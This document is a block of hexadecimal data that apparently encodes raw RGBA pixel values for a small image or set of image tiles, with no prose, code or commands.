00FF539A00FF529B00FF52A000FF627B48FF243AB0FF0C32F4FF0D32F0FF0E30
F0FF1025EEFF11C1F9FF0FFFFFFF10FFFFFF10FFFFFF0DFFFFFF26E5BFFF4CBE
5EFF48C266FF47C265FF45C665FF5D8967FF3A2C9DFF311DD4FF311CD0FF2F1D
D0FF321FD1FF331FDAFF3218D2FF1C044AFF166471FF22D4FBFF23D4FCFF20D3
FCFF18D2FCFF12D2FFFF1BDBFFFF6795A2FF372092FF2F00C1FF2557D3FF1D8A
DFFF1B7BDBFF1A7BDAFF207BDAFF1BCAECFF1ACFEEFF207ADAFF1A7CDAFF1A7B
DAFF1884DCFF1C56D1FF2500C1FF514787FF3B2F9EFF3520D5FF211863FF1010
0DFF1C1454FF2D1BBFFF3218D1FF2A58E0FF1CE3FFFF1DD7FFFF1DD7FFFF1DD7
FFFF1DD7FFFF1BD7FFFF18DCFFFF4E91A5FF253CB0FF0E37F5FF1139EFFF1137
EFFF0E25EEFF10C1F9FF0FFFFFFF10FFFFFF10FFFFFF0DFFFFFF26E5BFFF4CBE
5EFF48C266FF47C265FF45C665FF5D8967FF3B2F9EFF3620D5FF3823D3FF3621
D1FF311ED0FF321FDAFF3217CFFF1A0545FF176C78FF22D5FEFF23D4FCFF1FD3
FCFF17D2FCFF11D2FFFF21DCFFFF6A96A4FF7366A5FF937CE2FF9475DCFF9570
DBFF9672DDFF9675DCFF5D27C8FF1E90DEFF1B9BE1FF5B25C7FF9473DBFF8F6D
D9FF8D6DD9FF8D70DAFF8E79E1FF756E91FF3D2F9EFF3922D8FF3E27E4FF2E21
93FF3F29E5FF3926D4FF361AD0FF2B56D7FF20DDFDFF21D3FCFF21D3FCFF21D3
FCFF20D3FCFF1ED2FCFF1DD9FFFF508F9DFF253DB0FF0F3AF5FF123CF1FF143D
F1FF1532EFFF15C5FAFF11FFFFFF0EFFFFFF0FFFFFFF0DFFFFFF26E5BFFF4BBD
5DFF46C164FF45BF63FF46C565FF5D8968FF3D2F9EFF3922D7FF3B26D5FF3D28
D9FF4128E5FF270A6DFF144342FF1FD2F1FF1DDEFFFF17D2FDFF10D0FFFF3BDB
FFFF95EFFFFFB7E4D4FFB8D57AFF6D8354FFBFC2BCFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF9A74DEFF2794E3FF239DE4FF9873DEFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A29EFF3F309EFF3C26D8FF3E28D6FF402A
DBFF3F2BD6FF3F2BD6FF3F25D4FF3B61DCFF2EE3FCFF2ED7FCFF2DD7FCFF2DD7
FCFF2DD7FCFF2CD8FCFF2CDDFFFF518F9DFF263FB1FF103DF6FF133FF2FF1640
F2FF1732F0FF19C6FAFF17FFFFFF17FFFFFF16FFFFFF12FFFFFF2FE7C3FF56C4
68FF53C771FF55C871FF57CE75FF5F8969FF3F309EFF3C26DAFF4129E5FF3819
ABFF191F2FFF22B0BFFF28E8FFFF25DAFFFF64E5FFFFABF1FFFFC4E3BBFFADCC
66FF64A90FFF54A300FF58AB04FF617C48FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF966EDDFF2791E2FF269BE5FF976EDDFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF3F309EFF3F27D9FF4029D5FF412B
D7FF422CD7FF422CD7FF4226D5FF3C62DCFF30E3FEFF32D9FCFF32D9FCFF32D9
FCFF31D9FCFF2FD9FCFF2DDEFFFF508F9DFF253FB1FF103FF6FF1341F2FF1542
F2FF1637F0FF18C7FAFF17FFFFFF17FFFFFF17FFFFFF14FFFFFF32E8C6FF5DC7
6EFF59CA76FF57CA75FF59CF76FF5F8A69FF3F31A5FF3D1FD8FF160941FF127A
81FF34EEFFFF85F2FFFFB9EFF5FFC8DE9FFF96C249FF5DA804FF5BA807FF5CAB
0DFF60AD13FF61AD13FF62B10FFF627D49FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF9668DFFF1EBFECFF1DCBEFFF9669DEFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF3D2F9EFF3F24DBFF3F27D7FF4027
D7FF4028D7FF4028D7FF4022D5FF3A61DEFF2FE5FFFF30DAFCFF30DAFCFF2ED9
FCFF2FD9FCFF2DD9FCFF2CE0FFFF508E9CFF233FB1FF0B40F6FF0E40F2FF1041
F2FF1134F1FF13C7FAFF11FFFFFF11FFFFFF11FFFFFF0EFFFFFF2EE8C6FF5CC8
6FFF58CB75FF57CB74FF5AD178FF5D8868FF261F5EFF2E4B51FF99F0FFFFC0F5
E2FFBED87DFF7DB727FF59A700FF5BAA04FF5EAC0BFF62AE10FF62AF11FF63AF
11FF61AF10FF60AD0EFF62B40AFF617C47FFC0C0C0FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFA38DE6FF512ED1FF512DD0FFA390E6FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFACACACFF453AA4FF5B47DFFF5843DCFF5845
DCFF5944DCFF5946DCFF5A40DBFF5377E7FF49E8FFFF49DEFFFF49DEFFFF4ADE
FFFF4ADEFFFF49DFFFFF49E2FFFF5D9CACFF2F45B8FF335CFBFF3159F8FF3359
F8FF334EF7FF36D1FFFF33FFFFFF33FFFFFF33FFFFFF31FFFFFF4CEFD0FF71D1
83FF6ED38AFF6DD389FF6FD78BFF699775FF81906EFFC0E994FF7DBC30FF6DB2
1FFF6EB628FF72B82FFF74B933FF74B933FF74B933FF74B933FF74B933FF74B8
33FF74B833FF73B831FF76BB32FF6D8B55FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFC0FFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFBFC0FFC0C0
C0FFC0C0C0FFC0C0C0FFBEBEBEFFBEBEBEFFBEBEBEFFBEBEBEFFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFFFFFFFFF4F49B9FF2F1AD4FF2C18CFFF2D18
CFFF2E11CEFF2D18CFFF2D18CFFF2D14CFFF2D15CFFF2D18CFFF2D17CFFF2E12
CEFF2D18CFFF2C17CFFF2F1BD4FF6C67B1FF26282AFF0C1010FF0E1011FF0E10
12FF0F1112FF0F0D0DFF0F1B1EFF0F2428FF0F3C42FF0F1414FF0F0B0BFF0F10
12FF0E0D11FF0D0E10FF0D0F10FF4C4E4EFF626997FF957689FF8F758AFF9076
8BFF90768BFF90768BFF90768BFF90768BFF90768BFF90768BFF90768BFF9076
8BFF90768BFF8F758AFF957789FF6A7392FFB1A77DFFFDECA8FFF8E6A4FFF8E6
A5FFF6E49EFFFFFFEBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBDDFFF6E4
A0FFF8E6A5FFF8E7A4FFFFEDA8FF99937BFF4741B3FF391FD8FF3B1ED0FF3D18
CEFF357DE6FF3D1FD0FF3C1CCFFF3851DCFF3A4BDBFF3C1CCFFF3D25D2FF3577
E5FF3D19CFFF3B1ED0FF381FD7FF645EAFFF262828FF0E0F10FF101110FF0F12
11FF110E0FFF112529FF119DB5FF11D8FBFF11E2FFFF11A4BDFF11333BFF110F
0BFF103612FF0F4311FF0D0A10FF4D4D4DFF5A5B8BFFA14D19FF9B4E25FF9B4F
26FF9B5127FF9B5127FF9B5127FF9C5024FF9C5025FF9B5127FF9B5127FF9B51
27FF9B4F26FF9B4F25FFA24C19FF636D95FFB0A37BFFEDD899FFE9D598FFE9D5
98FFE7D292FFF2EDDBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0E7CDFFE8D3
93FFE9D598FFE9D598FFEFDB9BFF9A947CFF4431C0FF3F6DA7FF278BFFFF2E84
ECFF308AE9FF3183E6FF3184E6FF318AE8FF3183E6FF3184E6FF3182E6FF308B
E9FF2D84EDFF278CFEFF3E64A6FF635AB0FF252525FF0C0D0EFF0F1010FF100E
0FFF111113FF11A3BCFF11E7FFFF11DBFFFF11DAFFFF11E4FFFF11B4C2FF1148
11FF10380FFF0E3510FF0C160DFF4A4A4BFF4E4E88FF933714FF8D3C20FF8F3C
21FF8E3C23FF8E3C22FF913B1CFF853C3AFF8F3523FF903B1FFF8E3C22FF8E3C
23FF8F3D21FF8D3A21FF953712FF5B6493FFAC9E76FFE9D292FFE7D091FFE7CF
93FFE5CC8BFFF1EBD9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFE5CAFFE5CD
8CFFE7CF93FFE7D091FFECD494FF979078FF3D2CCAFF6C8500FF5B9633FF30CE
D4FF1EE3FFFF23DDFFFF24DBFDFF24DBFDFF24DCFDFF24DBFDFF23DDFFFF1EE3
FFFF32CACAFF5D9327FF657A02FF6057B4FF252525FF090B0AFF0C0D0EFF0F0B
0CFF0E211DFF10C7EAFF0FDDFFFF0FDAFFFF0FDAFFFF0FDAFFFF10E2FFFF0E42
4CFF0F0508FF0D090CFF0A080BFF494949FF454186FF8A2609FF842817FF8529
18FF862A18FF882A14FF7A2B33FF4376A2FF23A4E8FF882016FF872A16FF862A
18FF852918FF842817FF8C2408FF545D91FFA99972FFE7CE8DFFE4CB8DFFE4CD
8EFFE3C987FFF0E8D7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEEE3C7FFE3CA
88FFE4CB8EFFE5CB8DFFEAD08FFF958C75FF3D2BCAFF678200FF687B00FF6B76
00FF58903DFF2AC8DCFF1DDDFFFF21D3FAFF21D5FBFF1CDDFFFF2DC5D4FF5A8E
32FF6B7600FF657D04FF5E770EFF6558B9FF252525FF090809FF0D0C0DFF0D19
09FF0E5C36FF10D5F8FF10DBFFFF10DAFFFF10DAFFFF10DBFFFF10D7FBFF0F1D
20FF0E0B0AFF0C0C0CFF090908FF494949FF403F86FF861F05FF802012FF8121
13FF822213FF861F0CFF394C8DFF4D4842FF336172FF3762A7FF871E07FF8222
14FF812113FF802112FF891D05FF515B91FFA89871FFE7CC8CFFE5C98BFFE5CA
8CFFE3C785FFF2EBD9FFECE8F0FFA1CDBBFF90C0ABFFF6F3FCFFEEE3C9FFE3C8
86FFE5CB8CFFE3C98BFFEACE8DFF948B74FF3F2BC7FF5D992DFF41858FFF667D
03FF677D0AFF6C7700FF519157FF294BE9FF294DEAFF569446FF6D7600FF6780
09FF65810EFF648109FF5F770EFF6559B8FF242424FF0C0F0CFF0D230DFF0E5E
0DFF10540AFF10A5A7FF10E5FFFF10DCFFFF10DCFFFF10E6FFFF10A7C1FF0F1B
1EFF0E0B0BFF0C0C0CFF090909FF494949FF423F86FF8B2309FF822314FF8023
14FF842411FF64244CFFC28E51FFB2957AFFA47058FF997884FF731F25FF8323
12FF822314FF812213FF891D05FF505B91FFA99872FFE9CE90FFE4CA8CFFE4CA
8CFFE3C786FFF7ECDEFFABD3AEFFD8DBE3FF8ECAB3FFBBDBBDFFF3E5CDFFE3C8
86FFE5CB8DFFE5CA8CFFEACF8DFF948B74FF3F2AC5FF54A85AFF44B79AFF6E82
05FF667D0BFF6B7A00FF5B7A32FF2669F1FF285CEFFF618021FF6B7A00FF6680
0CFF65810EFF648109FF5F770EFF6559B8FF252425FF0E1B0EFF115611FF103A
11FF0E200BFF0F1E21FF0F8FA5FF0FD5F9FF0FCDEEFF0FA4BEFF102528FF0E09
08FF0D0E0EFF0B0C0CFF080909FF494949FF424086FF8E250BFF882A19FF8729
19FF832410FF651F42FFD7B360FF998547FFB6984DFFB7A17AFF751B1DFF8323
13FF822314FF812213FF891D05FF505B91FFA99972FFE8CF94FFE6CD92FFE6CD
91FFE3C685FFF6ECDDFFAFD4B1FFE7F6FFFF8AC2A9FFBEDBC0FFF2E5CDFFE3C8
86FFE5CB8DFFE5CA8CFFEACE8DFF948B74FF3F2DCAFF728B00FF738503FF7585
04FF6D8E1FFF3FBDB5FF1EE0FFFF24BDF6FF21C0F7FF1ADEFFFF38B6AAFF6382
12FF687800FF647C06FF5E770FFF655AB8FF202525FF000E0FFF080E09FF0610
14FF071315FF05100FFF020B09FF033238FF021414FF001314FF000B0BFF000D
0DFF000D0DFF010403FF000808FF474949FF454186FF90290EFF8B2D1CFF8B2E
1DFF8B2F1EFF882411FF8A6E81FF4A7721FF4F7C1FFF875876FF821F0BFF8122
13FF802112FF7D2011FF891D04FF515B91FFA99974FFE9D195FFE7CD95FFE7CF
95FFE5CC8FFFF2EAD9FFFDFEFFFFF5F6F3FFF2F6F0FFFFFFFFFFEDE2C7FFE3C7
85FFE4CA8BFFE3C98AFFEACF8EFF948B75FF3F2ECAFF789100FF719215FF47C3
ADFF29E4FFFF2EE0FFFF31DEFDFF31DFFDFF2FDFFDFF2EDCFDFF2AE0FFFF25E4
FFFF47BDA1FF72900EFF73890BFF6155B4FFA12525FFE70705FF887285FFE609
07FFDB1717FFDB1717FFE0100FFFBB3A3EFFB2434BFFE00C0BFFD91515FFD915
15FFE40908FF95636FFFDE1414FF904948FF454286FF932C0FFF8C301EFF8E31
1FFF8E3220FF8E321EFF852928FF9B8986FF9D788CFF862517FF8B2E1CFF8B2E
1DFF8B2E1DFF8C2E1EFF962C0FFF535C91FFA99974FFEBD299FFE6CE97FFE8D0
98FFE6CD90FFF1EBDAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEDE4CAFFE5CC
8FFFE7CF95FFE7CF96FFECD59CFF948C75FF422FC2FF528887FF2EACFFFF33A8
F9FF38A4F0FF37A4EFFF37A5EFFF38A3EFFF38A5EFFF37A5EFFF38A5EFFF38A3
EFFF33A8FAFF2FABFFFF517B88FF6356AEFF9B2020FF9A4C56FF51A2B7FFA441
49FFCE1110FFCC1414FFBA2A2DFF787587FF777889FFB72E32FFCD1414FFCE12
11FFAC393EFF688797FF8B616DFF8A4949FF454287FF952F10FF90321FFF8F33
21FF913421FF913421FF92331EFF892E27FF8D2E1DFF91341FFF913421FF9134
21FF903321FF8F311EFF982E0EFF535C91FFA99A75FFEAD39BFFE8D199FFE8D1
9AFFE6CE93FFF3ECDCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0E6CDFFE6CE
94FFE8D19AFFE6D199FFEDD69CFF948C75FF4435B1FF3E1BDFFF3F1BD4FF4216
D2FF3884EAFF411CD3FF431AD4FF3D57E1FF3E48DEFF421AD4FF4121D5FF3881
E9FF4216D2FF3F1BD5FF3D1DDEFF6359ACFF9D1F1FFF6B7A8DFF2DC0DBFF7471
82FFD30807FFCF0C0CFFA63B41FF4CA0B6FF4F9DB3FFA33E46FFD00C0CFFD20A
09FF885D69FF31B9D4FF64889AFF834E50FF464284FF9B2B05FF942F13FF952F
14FF953115FF953115FF953115FF953014FF953114FF953115FF953115FF9531
15FF943014FF942D12FF9D2A03FF525B90FFAA9B74FFECD59BFFE8D19BFFE8D2
9AFFE6CF93FFF4ECDCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0E6CFFFE6CF
95FFE8D29AFFE8D199FFEFD89DFF938A74FF4032B0FF442ED7FF422CD6FF432D
D6FF4426D4FF432DD6FF432DD6FF4429D5FF432AD5FF432DD6FF432DD6FF4426
D4FF432DD6FF422CD6FF432DD7FF6258AAFF9D3030FFE52320FF7895A5FFE022
20FFD23333FFD23333FFDA2B2AFFAE5B62FFAE5C62FFDA2A29FFD23333FFD233
33FFDD2524FF8B8490FFD23737FF985454FF454D9EFF7B5A95FF765897FF775A
98FF775998FF775998FF775998FF775998FF775998FF775998FF775998FF7759
98FF775A98FF765997FF7A5A97FF5F679DFFB0A07AFFF1DBA9FFEDD8A7FFEDD8
A7FFECD5A1FFF9F5E6FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7EED9FFECD5
A2FFEDD8A7FFEDD8A7FFF1DCA9FFA39983FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD8D8D8FFBEBEBEFFBEBEBEFFBEBE
BEFFBEBEBEFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBEBE
BEFFBEBEBEFFBEBEBEFFBDBDBDFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDEDEDEFFC3C3C3FFC4C4C4FFC4C4
C4FFC4C4C4FFC4C4C4FFC4C4C4FFC4C4C4FFC4C4C4FFC4C4C4FFC4C4C4FFC4C4
C4FFC4C4C4FFC4C4C4FFC2C2C2FFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFF89AC5AFFB0E861FFAFE561FFAEE5
61FFAEE562FFAEE562FFAEE562FFAEE562FFAEE562FFAEE562FFAEE562FFAEE5
62FFAFE561FFAFE561FFB1EA62FF839869FF616EC1FF6C88FFFF6B87FFFF6C86
FFFF6C85FFFF6B85FFFF6C83FFFF6ABDFCFF6C83FFFF6B85FFFF6B85FFFF6C85
FFFF6C86FFFF6B87FFFF6D89FFFF6A73A3FF9B854BFFDCB34BFFD7B04BFFD7B1
4CFFD8B14CFFD8B14CFFD8B14CFFD8B14CFFD8B14CFFD8B14CFFD8B14CFFD7B1
4CFFD7B04CFFD7B04BFFDEB54DFF8D805FFF6F66BEFF8B78FFFF8977FFFF8976
FFFF8A77FFFF8976FFFF8977FFFF8A77FFFF8A77FFFF8A77FFFF8A77FFFF8A77
FFFF8976FFFF8977FFFF8C79FFFF736FA1FF749547FF89B841FF89B843FF88B7
44FF8AB743FF8AB743FF8AB743FF8AB743FF8AB743FF8AB743FF8AB743FF8AB7
43FF89B744FF87B843FF88B941FF788E5DFF4E55B7FF4A55F0FF4A57EDFF4C56
EDFF4B58EDFF4D58EDFF4B53ECFF4C90E5FF4B52E9FF4D58EDFF4D58EDFF4B58
EDFF4C56EDFF4B55EDFF4B56F2FF6167A0FFC4CACFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A6A8FF6053B4FF6951EBFF6952E8FF654D
E6FF5B41E5FF634BE6FF5F45E6FF5E44E5FF684FE7FF6B52E8FF6B52E8FF6B52
E8FF6A53E8FF6952E8FF6952EDFF6C649EFF607C35FF689726FF699628FF6B98
29FF6A972AFF6A972AFF6A972AFF6A972AFF6A972AFF6A972AFF6A972AFF6A97
2AFF699829FF6A9628FF699825FF6D7D54FF3C3CADFF2F2FE8FF3130E4FF3233
E4FF3232E4FF3332E4FF332FE5FF3257DAFF3234DEFF3331E5FF3332E4FF3232
E4FF3233E4FF3030E4FF2E2FEAFF57599AFF86563FFFAC6036FFAA5F37FFAB60
38FFAB6039FFAB6039FFAB6039FFAB6039FFAB6039FFAB6039FFAB6039FFAB60
39FFAB6038FFAA5F37FFAE5F36FF806758FF523FA9FF5335E1FF4829DBFF7B65
E6FFF0EFFCFFFFFFFFFFFFFFFFFFDCD6F7FF5D42DFFF5032DDFF5538DFFF5538
DFFF5437DDFF5336DDFF5435E3FF635A97FF4D6B2DFF4F7D19FF507D1BFF5180
1DFF52801DFF52801DFF528320FF528623FF538825FF52811DFF52801DFF5280
1DFF51801CFF507D1BFF4E7D18FF61714EFF322DA7FF201AE2FF221CDEFF241D
DEFF2C26E2FF3932E7FF3C31EBFF335EBEFF365AC8FF3C31EBFF3932E6FF2923
E1FF241DDEFF221CDEFF2119E5FF525094FF8C6257FFB87260FFB4715FFFB672
60FFB67361FFB67361FFB67361FFB67361FFB67361FFB67361FFB67361FFB673
61FFB67260FFB4715FFFBB7460FF826C66FF4630A2FF3C15D6FF7258E0FFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF4927D7FF421ED4FF4421
D5FF4320D5FF411ED5FF411DD9FF5C5092FF2FA3C1FF1BDAFFFF1DD9FFFF20D8
FFFF1FD8FFFF20DBFFFF1BABD1FF178BABFF13627BFF1FD6FFFF1FD9FFFF1FD8
FFFF1ED8FFFF1CD9FFFF1ADCFFFF4E91A3FFC6C6BBFFFFFFFFFFFFFFFFFFFFFF
FFFFB8B8D9FF332EA0FF19119CFF142776FF142086FF1F1893FF302BA7FFDEDF
E6FFFFFFFFFFFFFFFFFFFFFFFFFFA5A59EFFC4CDCFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A7A9FF402A9EFF2700D0FFFDFDFDFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC1B4EFFF3009D0FF3C17
D2FF3B16D2FF3914D2FF3911D7FF5A4D8EFF32A0B8FF22D6FEFF21D3FCFF21D3
FCFF23D4FCFF23D6FFFF1FBCDEFF0D0000FF101C1EFF21D3FBFF23D4FCFF23D4
FCFF22D4FCFF20D4FCFF1DD7FFFF508F9EFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFE6E5FAFF000056FF150E8FFF100D22FF110D50FF110E5FFF00007CFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF723229FF8E200FFFAF655BFFFFFF
FFFF8F291AFF8D2315FF8D2416FF891B0CFF891B0CFF891B0CFF891B0CFF891B
0CFF871A0BFF861709FF891606FF724E49FF38219DFF441ED7FFFBFBFBFFFBFB
FBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFF2200C6FF320C
CAFF320BCAFF3009CAFF2E06D3FF564A8DFF33A0B8FF25D7FEFF28D6FCFF28D5
FCFF23D4FCFF21D2F9FF198097FF133941FF165969FF1C90AAFF23D8FFFF23D4
FCFF22D4FCFF20D4FCFF1DD7FFFF508F9EFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFE5E5EFFF0800EAFF170EDDFF1810D1FF190FD8FF180EE0FF0300E2FFFFFF
F9FFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF73332BFF912413FFB36B61FFFFFF
FFFF8F291CFF8D2517FF8C2013FFCB9E98FFC6958EFFC6958EFFC6958EFFC695
8EFFC7948DFFC7938CFFCC968FFF8A7674FFC7C9BDFFFFFFFFFF1D00CCFF2F06
CFFF2A03CEFF2902CDFF2902CDFF2903CDFF2800CCFF330DD0FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A59EFF33A7BBFF27E2FFFF29E0FDFF2CE0
